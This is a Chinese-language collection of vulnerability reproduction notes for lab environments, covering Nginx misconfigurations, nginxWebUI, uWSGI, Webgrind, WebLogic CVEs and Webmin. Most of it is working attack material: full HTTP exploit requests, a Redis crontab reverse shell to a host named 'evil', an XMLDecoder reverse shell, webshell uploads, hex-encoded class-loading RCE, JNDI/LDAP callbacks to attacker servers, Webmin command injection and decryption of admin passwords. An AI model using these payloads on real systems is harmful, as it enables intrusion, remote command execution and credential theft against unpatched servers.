Payload: http://your-ip:8080/%0d%0aSet-Cookie:%20a=1，可注入Set-Cookie头。

利用《Bottle HTTP 头注入漏洞探究》中的技巧，即可构造一个XSS漏洞：

Mistake 2. 目录穿越漏洞

Nginx在配置别名（Alias）的时候，如果忘记加/，将造成一个目录穿越漏洞。

错误的配置文件示例（原本的目的是为了让用户访问到/home/目录下的文件）：

location /files {
    alias /home/;
}

Payload: http://your-ip:8081/files../ ，成功穿越到根目录：

Mistake 3. add_header被覆盖

Nginx配置文件子块（server、location、if）中的add_header，将会覆盖父块中的add_header添加的HTTP头，造成一些安全隐患。

如下列代码，整站（父块中）添加了CSP头：

add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
    rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
    add_header X-Content-Type-Options nosniff;
    rewrite ^(.*)$ /xss.html break;
}

但/test2的location中又添加了X-Content-Type-Options头，导致父块中的add_header全部失效：

XSS可被触发：

nginx_parsing_vulnerability

Nginx 解析漏洞复现

Nginx解析漏洞复现。

版本信息：

Nginx 1.x 最新版
PHP 7.x最新版

由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。

直接执行docker compose up -d启动容器，无需编译。

访问http://your-ip/uploadfiles/nginx.png和http://your-ip/uploadfiles/nginx.png/.php即可查看效果。

正常显示：

增加/.php后缀，被解析成PHP文件：

访问http://your-ip/index.php可以测试上传功能，上传代码不存在漏洞，但利用解析漏洞即可getshell：

nginxWebUI

nginxWebUI cmdOver 后台命令执行漏洞

漏洞描述

nginxWebUI 后台存在命令执行漏洞，攻击者登录后台后可以执行任意命令获取服务器权限

漏洞影响

nginxWebUI

网络测绘

title=”nginxwebui”

漏洞复现

登录页面

验证请求包

POST /adminPage/remote/cmdOver

remoteId=local&cmd=start|id&interval=1

nginxWebUI runCmd 远程命令执行漏洞

漏洞描述

nginxWebUI runCmd 接口存在远程命令执行漏洞，攻击者通过漏洞可以获取到服务器权限，执行任意命令

漏洞影响

nginxWebUI

网络测绘

title=”nginxwebui”

漏洞复现

登录页面

验证请求包

/AdminPage/conf/runCmd?cmd=id

uwsgi

CVE-2018-7490

uWSGI PHP目录穿越漏洞（CVE-2018-7490）

uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言。

uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过..%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件。

漏洞环境

运行存在漏洞的uWSGI服务器：

docker compose up -d

运行完成后，访问http://your-ip:8080/即可看到phpinfo信息，说明uwsgi-php服务器已成功运行。

漏洞复现

访问http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd，成功读取文件：

unacc

uWSGI 未授权访问漏洞

uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言，通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外，它和Fastcgi之类的一样，也是前端server与后端应用容器之间的一个交流标准。目前nginx，apache也支持uwsgi协议进行代理转发请求。

uWSGI支持通过魔术变量（Magic Variables）的方式动态配置后端Web应用。如果其端口暴露在外，攻击者可以构造uwsgi数据包，并指定魔术变量UWSGI_FILE，运用exec://协议执行任意命令。

参考链接：

漏洞环境

执行如下命令启动nginx+uwsgi环境：

docker compose up -d

环境启动后，访问http://your-ip:8080即可查看一个Web应用，其uwsgi暴露在8000端口。

漏洞复现

使用poc.py，执行命令python poc.py -u your-ip:8000 -c "touch /tmp/success"：

执行docker compose exec web bash进入容器，可见/tmp/success已经成功执行：

Webgrind

CVE-2018-12909

Webgrind fileviewer.phtml 任意文件读取漏洞

漏洞描述

Webgrind是一套PHP执行时间分析工具。其中Webgrind 1.5版本中存在安全漏洞，该漏洞源于程序依靠用户输入来显示文件。攻击者可以通过漏洞读取服务器敏感文件

漏洞影响

Webgrind <= 1.5

网络测绘

app=”Webgrind”

漏洞复现

主页面

方法调用在 index.php 中

当参数为 fileviewer 时，将参数传递包含在文件 templates/fileviewer.phtml 中

参数 file 传入 fileviewer.phtml 通过函数 highlight_file 显示在页面中，验证POC

/index.php?op=fileviewer&file=/etc/passwd

weblogic

CVE-2014-4210

Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件,此漏洞可通过HTTP协议利用，未经身份验证的远程攻击者可利用此漏洞影响受影响组件的机密性.

漏洞影响

Oracle WebLogic Server 10.0.2.0

Oracle WebLogic Server 10.3.6.0

测试环境搭建

编译及启动测试环境

docker compose up -d

访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

SSRF漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误，一般是返回status code（如下图），如果访问的非http协议，则会返回did not have a valid SOAP content-type。

修改为一个不存在的端口，将会返回could not connect over HTTP to server。

通过错误的不同，即可探测内网状态。

注入HTTP头，利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.18.0.2:6379可以连通：

发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功反弹：

最后补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

CVE-2017-10271

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

参考链接：

漏洞影响

WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

环境搭建

启动测试环境：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

等待一段时间，访问http://your-ip:7001/即可看到一个404页面，说明weblogic已成功启动。

漏洞复现

对 http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType 进行访问，存在这个url则可能存在漏洞

其他可利用URL
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell：

使用Curl反弹shell (将上面的xml数据保存为poc.xml)

curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType"

写入webshell（访问：http://your-ip:7001/bea_wls_internal/test.jsp）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

回显请求包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5126


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
                    <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
                </void>
                <void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlExp</string>
                        <object idref="cls"></object>
                        <void method="newInstance">
                            <void method="say" id="proc">
                                <string>echo CVE-2017-10271;whoami</string>
                            </void>
                        </void>
                    </void>
                </void>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问一下URL http://xxx.xxx.xxx.xxx:7001/console/css/%2e%2e%2f/consolejndi.portal

如果有此页面未授权可访问，且在影响范围内则可能出现漏洞, 下载漏洞攻击需要的 LDAP启动脚本

下载到服务器上启动

java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx (服务器地址)

然后配合 Weblogic未授权范围命令执行

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

登录后台可使用此POC，未授权的话用上面的

/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

漏洞POC

CVE-2018-2628

Weblogic WLS Core Components 反序列化命令执行漏洞（CVE-2018-2628）

Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。

参考链接：

漏洞环境

执行如下命令启动Weblogic 10.3.6.0：

docker compose up -d

等待环境启动（环境差异，有的机器可能等待的时间比较久），访问http://your-ip:7001/console，初始化整个环境。

漏洞复现

首先下载ysoserial，并启动一个JRMP Server：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中，[command]即为我想执行的命令，而[listen port]是JRMP Server监听的端口。

然后，使用exploit.py脚本，向目标Weblogic（http://your-ip:7001）发送数据包：

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目标weblogic的IP和端口，[path to ysoserial]是本地ysoserial的路径，[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类，可选的值是JRMPClient或JRMPClient2。

exploit.py执行完成后，执行docker compose exec weblogic bash进入容器中，可见/tmp/success已成功创建。

CVE-2018-2894

Weblogic 任意文件上传漏洞（CVE-2018-2894）

Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制。

利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。

参考链接：

漏洞环境

执行如下命令，启动weblogic 12.2.1.3：

docker compose up -d

环境启动后，访问http://your-ip:7001/console，即可看到后台登录页面。

执行docker compose logs | grep password可查看管理员密码，管理员用户名为weblogic。

登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项：

漏洞复现

访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。

然后点击安全 -> 增加，然后上传webshell：

上传后，查看返回的数据包，其中有时间戳：

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行webshell：

CVE-2019-2725

Weblogic 反序列化远程代码执行漏洞

漏洞描述

2019年06月15日，360CERT监测到在野的Oracle Weblogic远程反序列化命令执行漏洞，该漏洞绕过了最新的Weblogic补丁（CVE-2019-2725），攻击者可以发送精心构造的恶意HTTP请求，在未授权的情况下远程执行命令。目前官方补丁未发布，漏洞细节未公开。360CERT经研判后判定该漏洞综合评级为“高危”，强烈建议受影响的用户尽快根据临时修补建议进行临时处置，防止收到攻击者攻击。

漏洞影响

Weblogic 10.3.6

Weblogic 12.1.3

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

漏洞复现

这里使用POC进行复现

POC地址: https://github.com/TopScrew/CVE-2019-2725
POC可利用于命令执行和Webshell上传

CVE-2020-14882

Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

参考链接：

漏洞环境

执行如下命令启动一个Weblogic 12.2.1.3版本的服务器：

docker compose up -d

启动完成后，访问http://your-ip:7001/console即可查看到后台登录页面。

漏洞复现

首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

访问后台后，可以发现我们现在是低权限的用户，无法安装应用，所以也无法直接执行任意代码：

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种，一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

进入容器，可以发现touch /tmp/success1已成功执行：

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如http://example.com/rce.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

这个利用方法也有自己的缺点，就是需要Weblogic的服务器能够访问到恶意XML。

CVE-2022-21371

本地文件包含漏洞

漏洞描述

2022年1月19日，绿盟科技CERT监测发现Oracle官方发布了1月关键补丁更新公告CPU（Critical Patch Update），此次共修复了497个不同程度的漏洞，此次安全更新涉及Oracle WebLogic Server、Oracle MySQL、Oracle Java SE、Oracle FusionMiddleware、Oracle Retail Applications等多个常用产品。Oracle强烈建议客户尽快应用关键补丁更新修复程序，对漏洞进行修复。

漏洞影响

WebLogic Server 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

漏洞复现

验证POC

.//META-INF/MANIFEST.MF
.//WEB-INF/web.xml
.//WEB-INF/portlet.xml
.//WEB-INF/weblogic.xml

CVE-2023-21839

Weblogic未授权远程代码执行漏洞 (CVE-2023-21839)

Oracle WebLogic Server是业界领先的应用程序服务器，用于使用Java EE标准构建企业应用程序，并以低拥有成本将其部署在可靠、可扩展的运行时。

在 Oracle 2023年1月安全公告日修复了这个漏洞。

CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作，当 JDK 版本过低或本地存在小工具（javaSerializedData）时，这可能会导致 RCE 漏洞

参考:

https://www.oracle.com/security-alerts/cpujan2023.html

环境设置

执行以下命令启动 Weblogic server 12.2.1.3

docker compose up -d

启动完成后访问http://your-ip:7001/console可以看到管理界面

复现

https://github.com/4ra1n/CVE-2023-21839

cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Windows

cd cmd
go build -o CVE-2023-21839.exe
CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

DNS Log

CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://kmi896.dnslog.cn/test
[*] your-ip: 192.168.25.129
[*] your-port: 7001
[*] your-ldap: ldap://kmi896.dnslog.cn/test
[*] weblogic 12
[*] id=2 LocateRequest
[*] id=3 RebindRequest
[*] id=4 RebindRequest
[*] id=5 LocateRequest
[*] id=6 ResolveRequest
[*] id=7 ResolveRequest

weak_password

Weblogic 常规渗透测试环境

测试环境

本环境模拟了一个真实的weblogic环境，其后台存在一个弱口令，并且前台存在任意文件读取漏洞。分别通过这两种漏洞，模拟对weblogic场景的渗透。

Weblogic版本：10.3.6(11g)

Java版本：1.6

启动本环境：

docker compose up -d

弱口令

环境启动后，访问http://your-ip:7001/console，即为weblogic后台。

本环境存在弱口令：

weblogic
Oracle@123

weblogic常用弱口令： http://cirt.net/passwords?criteria=weblogic

任意文件读取漏洞的利用

假设不存在弱口令，如何对weblogic进行渗透？

本环境前台模拟了一个任意文件下载漏洞，访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么，该漏洞如何利用？

读取后台用户密文与密钥文件

weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在本环境中为./security/SerializedSystemIni.dat和./config/config.xml（基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain）。

SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键copy to file就可以保存成一个文件：

config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的<node-manager-password-encrypted>的值，即为加密后的管理员密码，不要找错了：

解密密文

然后使用本环境的decrypt目录下的weblogic_decrypt.jar，解密密文（或者参考这篇文章：http://cb.drops.wiki/drops/tips-349.html ，自己编译一个解密的工具）：

可见，解密后和我预设的密码一致，说明成功。

后台上传webshell

获取到管理员密码后，登录后台。点击左侧的部署，可见一个应用列表：

点击安装，选择“上载文件”：

上传war包。值得注意的是，我们平时tomcat用的war包不一定能够成功，你可以将你的webshell放到本项目的web/hello.war这个压缩包中，再上传。上传成功后点下一步。

填写应用名称：

继续一直下一步，最后点完成。

应用目录在war包中WEB-INF/weblogic.xml里指定（因为本测试环境已经使用了/hello这个目录，所以你要在本测试环境下部署shell，需要修改这个目录，比如修改成/jspspy）：

成功获取webshell：

webmin

CVE-2019-15107

Webmin 远程命令执行漏洞（CVE-2019-15107）

Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。

参考链接：

漏洞影响

Webmin <= 1.920

网络测绘

app=”webmin”

环境搭建

执行如下命令，启动webmin 1.910：

docker compose up -d

执行完成后，访问https://your-ip:10000，忽略证书后即可看到webmin的登录页面。

漏洞复现

登录页面

漏洞的触发点为文件 password_change.cgi

其中接受的POST传参的几个参数为 user pam expired old new1 new2，值得注意的参数为 old, 对应的代码片段存在漏洞

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}

参考链接中的数据包是不对的，经过阅读代码可知，只有在发送的user参数的值不是已知Linux用户的情况下（而参考链接中是user=root），才会进入到修改/etc/shadow的地方，触发命令注入漏洞。

发送如下数据包，即可执行命令id：

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

CVE-2019-15642

Webmin rpc.cgi 后台远程命令执行漏洞

漏洞描述

Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。
Webmin 1.920及之前版本中的rpc.cgi文件存在安全漏洞。攻击者可借助特制的对象名称利用该漏洞执行代码。

漏洞影响

Webmin < 1.920

网络测绘

app=”webmin”

漏洞复现

登录页面

登录后发送请求包

POST /rpc.cgi 
Referer: https://xxx.xxx.xxx.xxx/sysinfo.cgi?xnavigation=1

OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd=`id`;print "$cmd\n\n";

CVE-2022-0824

Webmin update.cgi 后台远程命令执行漏洞

漏洞描述

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。

Webmin 1.990之前版本存在安全漏洞，该漏洞源于软件中存在不正确的访问控制，攻击者可以利用该漏洞实现远程代码执行

漏洞影响

Webmin < 1.990

网络测绘

app=”webmin”

漏洞复现

登录页面

登录后发送请求包

POST /package-updates/update.cgi HTTP/1.1
Cookie: sid=882af4543067bc6214d2c769325f3b2f
Referer: http:///package-updates/update.cgi?xnavigation=1

mode=new&search=ssh&redir=&redirdesc=&u=0;id;&confirm=Install+Now

吗喽の小屋

